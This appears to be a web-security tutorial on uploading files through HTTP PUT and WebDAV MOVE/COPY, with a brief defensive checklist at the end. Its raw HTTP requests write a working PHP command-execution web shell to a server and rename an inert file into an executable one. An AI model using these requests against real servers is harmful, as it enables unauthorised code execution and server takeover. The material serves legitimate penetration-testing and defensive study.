PUT-Based Uploads and WebDAV Tricks

Not every file write goes through an upload form. The web server itself can accept files if it allows the PUT method, and WebDAV adds methods to move and copy them. When these are enabled on a writable, executable path, you skip the application and its validation entirely and write your shell straight to the web root. The first step is always asking the server what it allows.

Checking OPTIONS for allowed methods

Before anything else, ask the server which methods it permits. OPTIONS returns an Allow header listing them:

OPTIONS /uploads/ HTTP/1.1
Host: target.example

HTTP/1.1 200 OK
Allow: GET, HEAD, POST, OPTIONS, PUT, MOVE, COPY, DELETE

If the response advertises PUT, MOVE, or COPY, you have a direct write or rename primitive to work with. If it only lists GET and POST, fall back to the app's upload form.

Writing a shell directly with PUT

When PUT is allowed to a path the server executes, write your shell to it in one request:

PUT /uploads/shell.php HTTP/1.1
Host: target.example
Content-Length: 28
 
<?php system($_GET['c']); ?>

The server writes the body to /uploads/shell.php, and if that directory runs PHP, you request it and you have execution. No application validation stood in the way, because the application was never involved.

WebDAV MOVE and COPY tricks

Sometimes PUT is allowed but the server refuses to write dangerous extensions directly, only letting you create something inert like a .txt. WebDAV's MOVE and COPY then rename it into an executable one:

PUT /uploads/shell.txt HTTP/1.1
Host: target.example
Content-Length: 28
 
<?php system($_GET['c']); ?>

MOVE /uploads/shell.txt HTTP/1.1
Host: target.example
Destination: /uploads/shell.php

You write the inert file, then rename it to .php with MOVE. The content is unchanged, but the new extension gets it executed. COPY works the same way when you want to keep the original.

Why this still happens

Raw PUT and WebDAV are legacy publishing features that should be disabled on application servers, but they are left enabled on misconfigured hosts, old deployments, and some storage or static-file servers more often than expected. Because they bypass the application, they are worth a quick OPTIONS check on any target with an upload or file-serving surface.

Defensively, disable PUT and WebDAV methods on anything that serves application content, and never let a writable directory also be an executable one. The full defensive checklist is in preventing upload flaws. Practice a raw PUT write on a free live target.